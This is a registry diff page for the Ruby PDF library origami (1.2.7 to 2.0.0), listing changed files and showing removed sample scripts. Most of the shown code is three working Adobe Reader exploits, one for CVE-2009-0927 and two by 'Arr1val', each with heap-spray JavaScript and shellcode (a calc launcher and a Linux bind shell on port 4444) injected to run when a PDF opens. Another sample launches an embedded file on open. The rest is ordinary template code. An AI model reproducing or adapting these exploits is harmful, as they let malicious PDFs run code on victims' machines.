origami 1.2.7 → 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (162) hide show
  1. checksums.yaml +4 -4
  2. data/CHANGELOG.md +66 -0
  3. data/README.md +112 -0
  4. data/bin/config/pdfcop.conf.yml +232 -233
  5. data/bin/gui/about.rb +27 -37
  6. data/bin/gui/config.rb +108 -117
  7. data/bin/gui/file.rb +416 -365
  8. data/bin/gui/gtkhex.rb +1138 -1153
  9. data/bin/gui/hexview.rb +55 -57
  10. data/bin/gui/imgview.rb +48 -51
  11. data/bin/gui/menu.rb +388 -386
  12. data/bin/gui/properties.rb +114 -130
  13. data/bin/gui/signing.rb +571 -617
  14. data/bin/gui/textview.rb +77 -95
  15. data/bin/gui/treeview.rb +382 -387
  16. data/bin/gui/walker.rb +227 -232
  17. data/bin/gui/xrefs.rb +56 -60
  18. data/bin/pdf2pdfa +53 -57
  19. data/bin/pdf2ruby +212 -228
  20. data/bin/pdfcop +338 -348
  21. data/bin/pdfdecompress +58 -65
  22. data/bin/pdfdecrypt +56 -60
  23. data/bin/pdfencrypt +75 -80
  24. data/bin/pdfexplode +185 -182
  25. data/bin/pdfextract +201 -218
  26. data/bin/pdfmetadata +83 -82
  27. data/bin/pdfsh +4 -5
  28. data/bin/pdfwalker +1 -2
  29. data/bin/shell/.irbrc +45 -82
  30. data/bin/shell/console.rb +105 -130
  31. data/bin/shell/hexdump.rb +40 -64
  32. data/examples/README.md +34 -0
  33. data/examples/attachments/attachment.rb +38 -0
  34. data/examples/attachments/nested_document.rb +51 -0
  35. data/examples/encryption/encryption.rb +28 -0
  36. data/{samples/actions/triggerevents/trigger.rb → examples/events/events.rb} +13 -16
  37. data/examples/flash/flash.rb +37 -0
  38. data/{samples → examples}/flash/helloworld.swf +0 -0
  39. data/examples/forms/javascript.rb +54 -0
  40. data/examples/forms/xfa.rb +115 -0
  41. data/examples/javascript/hello_world.rb +22 -0
  42. data/examples/javascript/js_emulation.rb +54 -0
  43. data/examples/loop/goto.rb +32 -0
  44. data/examples/loop/named.rb +33 -0
  45. data/examples/signature/signature.rb +65 -0
  46. data/examples/uri/javascript.rb +56 -0
  47. data/examples/uri/open-uri.rb +21 -0
  48. data/examples/uri/submitform.rb +47 -0
  49. data/lib/origami.rb +29 -42
  50. data/lib/origami/3d.rb +350 -225
  51. data/lib/origami/acroform.rb +262 -288
  52. data/lib/origami/actions.rb +268 -288
  53. data/lib/origami/annotations.rb +697 -722
  54. data/lib/origami/array.rb +258 -184
  55. data/lib/origami/boolean.rb +74 -84
  56. data/lib/origami/catalog.rb +397 -434
  57. data/lib/origami/collections.rb +144 -0
  58. data/lib/origami/destinations.rb +233 -194
  59. data/lib/origami/dictionary.rb +253 -232
  60. data/lib/origami/encryption.rb +1274 -1243
  61. data/lib/origami/export.rb +232 -268
  62. data/lib/origami/extensions/fdf.rb +307 -220
  63. data/lib/origami/extensions/ppklite.rb +368 -435
  64. data/lib/origami/filespec.rb +197 -0
  65. data/lib/origami/filters.rb +301 -295
  66. data/lib/origami/filters/ascii.rb +177 -180
  67. data/lib/origami/filters/ccitt.rb +528 -535
  68. data/lib/origami/filters/crypt.rb +26 -35
  69. data/lib/origami/filters/dct.rb +46 -52
  70. data/lib/origami/filters/flate.rb +95 -94
  71. data/lib/origami/filters/jbig2.rb +49 -55
  72. data/lib/origami/filters/jpx.rb +38 -44
  73. data/lib/origami/filters/lzw.rb +189 -183
  74. data/lib/origami/filters/predictors.rb +221 -235
  75. data/lib/origami/filters/runlength.rb +103 -104
  76. data/lib/origami/font.rb +173 -186
  77. data/lib/origami/functions.rb +67 -81
  78. data/lib/origami/graphics.rb +25 -21
  79. data/lib/origami/graphics/colors.rb +178 -187
  80. data/lib/origami/graphics/instruction.rb +79 -85
  81. data/lib/origami/graphics/path.rb +142 -148
  82. data/lib/origami/graphics/patterns.rb +160 -167
  83. data/lib/origami/graphics/render.rb +43 -50
  84. data/lib/origami/graphics/state.rb +138 -153
  85. data/lib/origami/graphics/text.rb +188 -205
  86. data/lib/origami/graphics/xobject.rb +819 -815
  87. data/lib/origami/header.rb +63 -78
  88. data/lib/origami/javascript.rb +596 -597
  89. data/lib/origami/linearization.rb +285 -290
  90. data/lib/origami/metadata.rb +139 -148
  91. data/lib/origami/name.rb +112 -148
  92. data/lib/origami/null.rb +53 -62
  93. data/lib/origami/numeric.rb +162 -175
  94. data/lib/origami/obfuscation.rb +186 -174
  95. data/lib/origami/object.rb +593 -573
  96. data/lib/origami/outline.rb +42 -47
  97. data/lib/origami/outputintents.rb +73 -82
  98. data/lib/origami/page.rb +703 -592
  99. data/lib/origami/parser.rb +238 -290
  100. data/lib/origami/parsers/fdf.rb +41 -33
  101. data/lib/origami/parsers/pdf.rb +75 -95
  102. data/lib/origami/parsers/pdf/lazy.rb +137 -0
  103. data/lib/origami/parsers/pdf/linear.rb +64 -66
  104. data/lib/origami/parsers/ppklite.rb +34 -70
  105. data/lib/origami/pdf.rb +1030 -1005
  106. data/lib/origami/reference.rb +102 -102
  107. data/lib/origami/signature.rb +591 -609
  108. data/lib/origami/stream.rb +668 -551
  109. data/lib/origami/string.rb +397 -373
  110. data/lib/origami/template/patterns.rb +56 -0
  111. data/lib/origami/template/widgets.rb +151 -0
  112. data/lib/origami/trailer.rb +144 -158
  113. data/lib/origami/tree.rb +62 -0
  114. data/lib/origami/version.rb +23 -0
  115. data/lib/origami/webcapture.rb +88 -79
  116. data/lib/origami/xfa.rb +2863 -2882
  117. data/lib/origami/xreftable.rb +472 -384
  118. data/test/dataset/calc.pdf +85 -0
  119. data/test/dataset/crypto.pdf +82 -0
  120. data/test/dataset/empty.pdf +49 -0
  121. data/test/test_actions.rb +27 -0
  122. data/test/test_annotations.rb +90 -0
  123. data/test/test_pages.rb +31 -0
  124. data/test/test_pdf.rb +16 -0
  125. data/test/test_pdf_attachment.rb +34 -0
  126. data/test/test_pdf_create.rb +24 -0
  127. data/test/test_pdf_encrypt.rb +95 -0
  128. data/test/test_pdf_parse.rb +96 -0
  129. data/test/test_pdf_sign.rb +58 -0
  130. data/test/test_streams.rb +182 -0
  131. data/test/test_xrefs.rb +67 -0
  132. metadata +88 -58
  133. data/README +0 -67
  134. data/bin/pdf2graph +0 -121
  135. data/bin/pdfcocoon +0 -104
  136. data/lib/origami/file.rb +0 -233
  137. data/samples/README.txt +0 -45
  138. data/samples/actions/launch/calc.rb +0 -87
  139. data/samples/actions/launch/winparams.rb +0 -22
  140. data/samples/actions/loop/loopgoto.rb +0 -24
  141. data/samples/actions/loop/loopnamed.rb +0 -21
  142. data/samples/actions/named/named.rb +0 -31
  143. data/samples/actions/samba/smbrelay.rb +0 -26
  144. data/samples/actions/webbug/submitform.js +0 -26
  145. data/samples/actions/webbug/webbug-browser.rb +0 -68
  146. data/samples/actions/webbug/webbug-js.rb +0 -67
  147. data/samples/actions/webbug/webbug-reader.rb +0 -90
  148. data/samples/attachments/attach.rb +0 -40
  149. data/samples/attachments/attached.txt +0 -1
  150. data/samples/crypto/crypto.rb +0 -28
  151. data/samples/digsig/signed.rb +0 -46
  152. data/samples/exploits/cve-2008-2992-utilprintf.rb +0 -87
  153. data/samples/exploits/cve-2009-0927-geticon.rb +0 -65
  154. data/samples/exploits/exploit_customdictopen.rb +0 -55
  155. data/samples/exploits/getannots.rb +0 -69
  156. data/samples/flash/flash.rb +0 -31
  157. data/samples/javascript/attached.txt +0 -1
  158. data/samples/javascript/js.rb +0 -52
  159. data/templates/patterns.rb +0 -66
  160. data/templates/widgets.rb +0 -173
  161. data/templates/xdp.rb +0 -92
  162. data/test/ts_pdf.rb +0 -50
@@ -1,65 +0,0 @@
1
- #!/usr/bin/env ruby
2
-
3
- #
4
- # References:
5
- # CVE 2009-0927
6
- # http://www.securityfocus.com/bid/34169
7
- # http://www.zerodayinitiative.com/advisories/ZDI-09-014/
8
- #
9
- #�Vulnerable: Adobe Reader and Adobe Acrobat Professional < 8.1.4
10
- #
11
- # This exploit / PoC spawns a calc on Windows.
12
- #
13
- #
14
-
15
- begin
16
- require 'origami'
17
- rescue LoadError
18
- ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
19
- $: << ORIGAMIDIR
20
- require 'origami'
21
- end
22
- include Origami
23
-
24
- pdf = PDF.read(ARGV[0])
25
-
26
- jscript = %Q|
27
- function spary() {
28
- var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98\
29
- bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0\
30
- ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8\
31
- c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
32
-
33
- //shellcode = unescape("%u7dbf%uca55%u2ba7%udbc9%ub1d3%ud914%u2474%u5bf4%ueb83%u31fc%u0e7b%u7b03%u9f0e%ufba0%ua87c%uafa8%u05c1%u5245%u484f%u3429%u0a82%ue711%u624e%u1559%u2e7e%u0acf%u9ed1%uca86%u78bb%uc1c1%u0dbc%uddb0%u090f%ub883%u91a2%uf4a0%u5c5b%u66a6%u34fa%ud098%u4830%u99af%u2032%u751f%ud8b0%ua637%u7154%u31a6%ud17b%ucb65%u619d%u0682%u41dd");
34
-
35
- garbage = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\
36
- 90%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\
37
- 90%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\
38
- 90%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\
39
- 90%u9090%u9090%u9090") + shellcode;
40
- nopblock = unescape("%u9090%u9090");
41
- headersize = 10;
42
- acl = headersize+garbage.length;
43
- while (nopblock.length<acl) nopblock+=nopblock;
44
- fillblock = nopblock.substring(0, acl);
45
- block = nopblock.substring(0, nopblock.length-acl);
46
- while(block.length+acl<0x40000) block = block+block+fillblock;
47
- memory = new Array();
48
- for (i=0;i<180;i++) memory[i] = block + garbage;
49
- var buffersize = 4012;
50
- var buffer = Array(buffersize);
51
- for (i=0; i<buffersize; i++)
52
- {
53
- buffer[i] = unescape("%0a%0a%0a%0a");
54
- }
55
-
56
- Collab.getIcon(buffer+'_N.bundle');
57
- }
58
- spary();
59
- |
60
-
61
- exploit = Action::JavaScript Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode])
62
- pdf.pages.first.onOpen( exploit )
63
-
64
- pdf.save("#{File.basename($0, '.rb')}.pdf")
65
-
@@ -1,55 +0,0 @@
1
- #!/usr/bin/env ruby
2
-
3
- begin
4
- require 'origami'
5
- rescue LoadError
6
- ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
7
- $: << ORIGAMIDIR
8
- require 'origami'
9
- end
10
- include Origami
11
-
12
- pdf = PDF.read(ARGV[0])
13
-
14
- jscript = %Q|
15
- //##############
16
- //Exploit made by Arr1val
17
- //Proved in adobe 9.1 and adobe 8.1.4 on linux
18
- //##############
19
-
20
- app.alert('start heap spray...');
21
-
22
- var memory;
23
- var nop = unescape("%u9090%u9090");
24
- var shellcode = unescape( "%uc92b%ue983%ud9eb%ud9ee%u2474%u5bf4%u7381%u1313%u2989%u8357%ufceb%uf4e2%u5222%u147a%ue340%u3d2b%ud175%udeb0%u44f2%uc1a9%udb50%u3f4f%ud502%u044f%u689a%u3143%ud94b%u0178%u689a%ud7e4%uefa3%ub4f8%u09de%u057b%uca45%ub6a0%uefa3%ud7e4%ue380%u0e2b%ub6a3%ud7e4%uf05a%ue7d0%udb18%u7841%ufa3c%u3f41%ueb3c%u3940%u6a9a%u047b%u689a%ud7e4"); //linux bind shell at port 4444
25
-
26
- while(nop.length <= 0x10000/2) {
27
- nop += nop;
28
- }
29
-
30
- nop = nop.substring(0,0x10000/2 - shellcode.length);
31
-
32
- memory = new Array();
33
- for (i=0; i<0x6ff0; i++) {
34
- memory[i] = nop + shellcode;
35
- }
36
-
37
- //start exploit now
38
- start();
39
-
40
- function start()
41
- {
42
- this.spell.customDictionaryOpen(0,nop);//so the exploit jumps actually to 0x90909090. Place a very long 'AAAA' at the second param to go to 0x41414141
43
- }
44
-
45
- //############################
46
-
47
- //# milw0rm.com [2009-04-29]
48
- |
49
-
50
- #exploit = Action::JavaScript Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode])
51
- exploit = Action::JavaScript Stream.new(jscript)
52
- pdf.onDocumentOpen( exploit )
53
-
54
- pdf.save("#{File.basename($0, '.rb')}.pdf")
55
-
@@ -1,69 +0,0 @@
1
- #!/usr/bin/env ruby
2
-
3
- begin
4
- require 'origami'
5
- rescue LoadError
6
- ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
7
- $: << ORIGAMIDIR
8
- require 'origami'
9
- end
10
- include Origami
11
-
12
- pdf = PDF.read(ARGV[0])
13
-
14
- jscript = %Q|
15
- //##############
16
- //Exploit made by Arr1val
17
- //Proved in adobe 9.1 and adobe 8.1.4 on linux
18
- //
19
- //Steps:
20
- //- create a pdf with an annotation (a note) (i used an annotation with a very long AAAAA name, but that might be omitted)
21
- //- attach the following script to the OpenAction of the pdf.
22
- //##############
23
-
24
- app.alert('start heap spray...');
25
-
26
-
27
- var memory;
28
- var nop = unescape("%u9090%u9090"); //long nop will also force the address to go to 0x90909090 so 2 steps in one
29
- var shellcode = unescape( "%uc92b%ue983%ud9eb%ud9ee%u2474%u5bf4%u7381%u1313%u2989%u8357%ufceb%uf4e2%u5222%u147a%ue340%u3d2b%ud175%udeb0%u44f2%uc1a9%udb50%u3f4f%ud502%u044f%u689a%u3143%ud94b%u0178%u689a%ud7e4%uefa3%ub4f8%u09de%u057b%uca45%ub6a0%uefa3%ud7e4%ue380%u0e2b%ub6a3%ud7e4%uf05a%ue7d0%udb18%u7841%ufa3c%u3f41%ueb3c%u3940%u6a9a%u047b%u689a%ud7e4"); //linux bind shell at port 4444
30
-
31
- while(nop.length <= 0x100000/2) {
32
- nop += nop;
33
- }
34
-
35
- nop = nop.substring(0,0x100000/2 - shellcode.length);
36
-
37
- memory = new Array();
38
- for(i=0; i<0x3; i++) { //we should at least overwrite 0x90909090
39
- memory[i] = nop + shellcode;
40
- }
41
-
42
-
43
- //start exploit now
44
- start();
45
-
46
- function start()
47
- {
48
- // this.getAnnots(-134217728,-134217728,-134217728,-134217728);
49
- app.alert("boom?");
50
- this.getAnnots(-134217728,-134217729,-134217730,-134217731); //get control on EDI
51
- }
52
-
53
-
54
- //# milw0rm.com [2009-04-29]
55
- |
56
-
57
- #exploit = Action::JavaScript.new(Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode]))
58
- exploit = Action::JavaScript Stream.new(jscript)
59
- pdf.onDocumentOpen( exploit )
60
-
61
-
62
- annot = Annotation::Text.new
63
- annot.Contents = "Hello world"
64
- annot.Rect = [ 512, 512, 660, 606]
65
- annot.F = Annotation::Flags::HIDDEN
66
- pdf.pages[0].add_annot( annot )
67
-
68
- pdf.save("#{File.basename($0, '.rb')}.pdf")
69
-
@@ -1,31 +0,0 @@
1
- #!/usr/bin/env ruby
2
-
3
- begin
4
- require 'origami'
5
- rescue LoadError
6
- ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
7
- $: << ORIGAMIDIR
8
- require 'origami'
9
- end
10
- include Origami
11
-
12
- INPUTFILE = "helloworld.swf"
13
- OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
14
-
15
- puts "Now generating a new PDF file from scratch!"
16
-
17
- # Creating a new file
18
- pdf = PDF.new.append_page(page = Page.new)
19
-
20
- # Embedding the SWF file into the PDF.
21
- swf = pdf.attach_file(INPUTFILE)
22
-
23
- # Creating a Flash annotation on the page.
24
- annot = page.add_flash_application(swf, :windowed => true, :navigation_pane => true, :toolbar => true)
25
-
26
- # Setting the player position on the page.
27
- annot.Rect = Rectangle.new(204, 573, 403, 718)
28
-
29
- pdf.save(OUTPUTFILE)
30
-
31
- puts "PDF file saved as #{OUTPUTFILE}."
@@ -1 +0,0 @@
1
- ***THIS IS THE EMBEDDED FILE***
@@ -1,52 +0,0 @@
1
- #!/usr/bin/env ruby
2
-
3
- begin
4
- require 'origami'
5
- rescue LoadError
6
- ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
7
- $: << ORIGAMIDIR
8
- require 'origami'
9
- end
10
- include Origami
11
-
12
- if defined?(PDF::JavaScript::Engine)
13
-
14
- INPUTFILE = "attached.txt"
15
-
16
- # Creating a new file
17
- pdf = PDF.new
18
-
19
- # Embedding the file into the PDF.
20
- pdf.attach_file(INPUTFILE,
21
- :EmbeddedName => "README.txt",
22
- :Filter => :ASCIIHexDecode
23
- )
24
-
25
- # Example of JS payload
26
- pdf.onDocumentOpen Action::JavaScript <<-JS
27
- if ( app.viewerVersion == 8 )
28
- eval("this.exportDataObject({cName:'README.txt', nLaunch:2});");
29
- this.closeDoc();
30
- JS
31
-
32
-
33
- # Tweaking the engine options
34
- pdf.js_engine.options[:log_method_calls] = true
35
- pdf.js_engine.options[:viewerVersion] = 8
36
-
37
- # Hooking eval()
38
- pdf.js_engine.hook 'eval' do |eval, expr|
39
- puts "Hook: eval(#{expr.inspect})"
40
- eval.call(expr) # calling the real eval method
41
- end
42
-
43
- # Example of inline JS evaluation
44
- pdf.eval_js 'console.println(util.stringFromStream(this.getDataObjectContents("README.txt")))'
45
-
46
- # Executes the string as a JS script
47
- pdf.Catalog.OpenAction[:JS].eval_js
48
-
49
- else
50
- puts "JavaScript support not found. You need to install therubyracer gem."
51
- end
52
-
@@ -1,66 +0,0 @@
1
- =begin
2
-
3
- = File
4
- patterns.rb
5
-
6
- = Info
7
- This file is part of Origami, PDF manipulation framework for Ruby
8
- Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
9
- All right reserved.
10
-
11
- Origami is free software: you can redistribute it and/or modify
12
- it under the terms of the GNU Lesser General Public License as published by
13
- the Free Software Foundation, either version 3 of the License, or
14
- (at your option) any later version.
15
-
16
- Origami is distributed in the hope that it will be useful,
17
- but WITHOUT ANY WARRANTY; without even the implied warranty of
18
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
19
- GNU Lesser General Public License for more details.
20
-
21
- You should have received a copy of the GNU Lesser General Public License
22
- along with Origami. If not, see <http://www.gnu.org/licenses/>.
23
-
24
- =end
25
-
26
- module Origami
27
-
28
- module Template
29
-
30
- class AxialGradient < Graphics::Pattern::Shading::Axial
31
-
32
- def initialize(from, to, color0, color1, coeff = 1)
33
- super()
34
-
35
- set_indirect(true)
36
-
37
- x, y = from
38
- tx, ty = to
39
-
40
- c0 = Graphics::Color.to_a(color0)
41
- c1 = Graphics::Color.to_a(color1)
42
-
43
- space =
44
- case c0.size
45
- when 1 then Graphics::Color::Space::DEVICE_GRAY
46
- when 3 then Graphics::Color::Space::DEVICE_RGB
47
- when 4 then Graphics::Color::Space::DEVICE_CMYK
48
- end
49
-
50
- f = Function::Exponential.new
51
- f.Domain = [ 0.0, 1.0 ]
52
- f.N = coeff
53
- f.C0, f.C1 = c0, c1
54
-
55
- self.ColorSpace = space
56
- self.Coords = [ x, y, tx, ty ]
57
- self.Function = f
58
- self.Extend = [ true, true ]
59
-
60
- end
61
-
62
- end
63
-
64
- end
65
-
66
- end
@@ -1,173 +0,0 @@
1
- =begin
2
-
3
- = File
4
- widgets.rb
5
-
6
- = Info
7
- This file is part of Origami, PDF manipulation framework for Ruby
8
- Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
9
- All right reserved.
10
-
11
- Origami is free software: you can redistribute it and/or modify
12
- it under the terms of the GNU Lesser General Public License as published by
13
- the Free Software Foundation, either version 3 of the License, or
14
- (at your option) any later version.
15
-
16
- Origami is distributed in the hope that it will be useful,
17
- but WITHOUT ANY WARRANTY; without even the implied warranty of
18
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
19
- GNU Lesser General Public License for more details.
20
-
21
- You should have received a copy of the GNU Lesser General Public License
22
- along with Origami. If not, see <http://www.gnu.org/licenses/>.
23
-
24
- =end
25
-
26
- module Origami
27
-
28
- module Template
29
-
30
- class Button < Annotation::Widget::PushButton
31
-
32
- def initialize(x,y,width,height, caption, id = nil)
33
- super()
34
-
35
- set_indirect(true)
36
-
37
- self.H = Annotation::Widget::Highlight::INVERT
38
- self.Rect = [ x, y, x+width, y+height ]
39
- self.F = Annotation::Flags::PRINT
40
- self.T = id
41
-
42
- appstm = Annotation::AppearanceStream.new.setFilter(:FlateDecode)
43
- appstm.BBox = [ 0, 0, width, height ]
44
- appstm.Matrix = [ 1, 0, 0, 1, 0, 0 ]
45
-
46
- appstm.draw_rectangle(0, 0, width, height,
47
- :fill => true, :stroke => false, :fill_color => Graphics::Color::RGB.new(0xE6, 0xE6, 0xFA))
48
-
49
- appstm.draw_polygon([[1,1],[1,height-1],[width-1,height-1],[width-2,height-2],[2,height-2],[2,2]],
50
- :fill => true, :stroke => false, :fill_color => Graphics::Color::GrayScale.new(1.0))
51
-
52
- appstm.draw_polygon([[width-1,height-1],[width-1,1],[1,1],[2,2],[width-2,2],[width-2,height-2]],
53
- :fill => true, :stroke => false, :fill_color => Graphics::Color::RGB.new(130, 130, 130))
54
-
55
- appstm.draw_rectangle(0.5, 0.5, width-1, height-1,
56
- :fill => false, :stroke => true, :stroke_color => Graphics::Color::GrayScale.new(0.0))
57
-
58
- text_width = 4.75 * caption.length
59
- appstm.write(caption,
60
- :x => (width - text_width)/2, :y => height/2-5, :size => 10)
61
-
62
- appstm.Resources = Resources.new
63
- set_normal_appearance(appstm)
64
- end
65
-
66
- end
67
-
68
- class Edit < Annotation::Widget::Text
69
-
70
- def initialize(x,y,width,height, id)
71
- super()
72
-
73
- set_indirect(true)
74
-
75
- self.Rect = [ x, y, x+width, y+height ]
76
- self.F = Annotation::Flags::PRINT
77
- self.T = id
78
- self.DA = '/F1 12 Tf 0 g'
79
-
80
- appstm = Annotation::AppearanceStream.new.setFilter(:FlateDecode)
81
- appstm.BBox = [ 0, 0, width, height ]
82
- appstm.Matrix = [ 1, 0, 0, 1, 0, 0 ]
83
-
84
- appstm.draw_rectangle(0, 0, width, height,
85
- :fill => false, :stroke => true, :stroke_color => Graphics::Color::GrayScale.new(0.0))
86
-
87
- appstm.draw_polygon([[1,1],[1,height-1],[width-1,height-1],[width-2,height-2],[2,height-2],[2,2]],
88
- :fill => true, :stroke => false, :fill_color => Graphics::Color::RGB.new(130, 130, 130))
89
-
90
- appstm.draw_polygon([[width-1,height-1],[width-1,1],[1,1],[2,2],[width-2,2],[width-2,height-2]],
91
- :fill => true, :stroke => false, :fill_color => Graphics::Color::GrayScale.new(1.0))
92
-
93
- appstm.draw_rectangle(0.5, 0.5, width-1, height-1,
94
- :fill => false, :stroke => true, :stroke_color => Graphics::Color::GrayScale.new(0.0))
95
-
96
- set_normal_appearance(appstm)
97
- end
98
-
99
- end
100
-
101
- class MultiLineEdit < Edit
102
-
103
- def initialize(x,y,width,height, id)
104
-
105
- super(x,y,width,height,id)
106
-
107
- self.Ff ||= 0
108
- self.Ff |= Annotation::Widget::Text::Flags::MULTILINE
109
- end
110
-
111
- end
112
-
113
- class RichTextEdit < MultiLineEdit
114
-
115
- def initialize(x,y,width,height, id)
116
-
117
- super(x,y,width,height,id)
118
-
119
- self.F |= Annotation::Flags::READONLY
120
- self.Ff |= (Annotation::Widget::Text::Flags::RICHTEXT | Field::Flags::READONLY)
121
- end
122
-
123
- end
124
-
125
- class PasswordEdit < Edit
126
-
127
- def initialize(x,y,width,height, id)
128
-
129
- super(x,y,width,height,id)
130
-
131
- self.Ff ||= 0
132
- self.Ff |= Annotation::Widget::Text::Flags::PASSWORD
133
-
134
- end
135
-
136
- end
137
-
138
- class TextPanel < Annotation::FreeText
139
-
140
- def initialize(x,y,width,height, id)
141
- super()
142
-
143
- set_indirect(true)
144
-
145
- self.Rect = [ x, y, x+width, y+height ]
146
- self.F = Annotation::Flags::PRINT
147
- self.NM = id
148
- self.DA = '/F1 12 Tf 0 g'
149
-
150
- appstm = Annotation::AppearanceStream.new.setFilter(:FlateDecode)
151
- appstm.BBox = [ 0, 0, width, height ]
152
- appstm.Matrix = [ 1, 0, 0, 1, 0, 0 ]
153
-
154
- appstm.draw_rectangle(0, 0, width, height,
155
- :fill => false, :stroke => true, :stroke_color => Graphics::Color::GrayScale.new(0.0))
156
-
157
- appstm.draw_polygon([[1,1],[1,height-1],[width-1,height-1],[width-2,height-2],[2,height-2],[2,2]],
158
- :fill => true, :stroke => false, :fill_color => Graphics::Color::RGB.new(130, 130, 130))
159
-
160
- appstm.draw_polygon([[width-1,height-1],[width-1,1],[1,1],[2,2],[width-2,2],[width-2,height-2]],
161
- :fill => true, :stroke => false, :fill_color => Graphics::Color::GrayScale.new(1.0))
162
-
163
- appstm.draw_rectangle(0.5, 0.5, width-1, height-1,
164
- :fill => false, :stroke => true, :stroke_color => Graphics::Color::GrayScale.new(0.0))
165
-
166
- set_normal_appearance(appstm)
167
- end
168
-
169
- end
170
-
171
- end
172
-
173
- end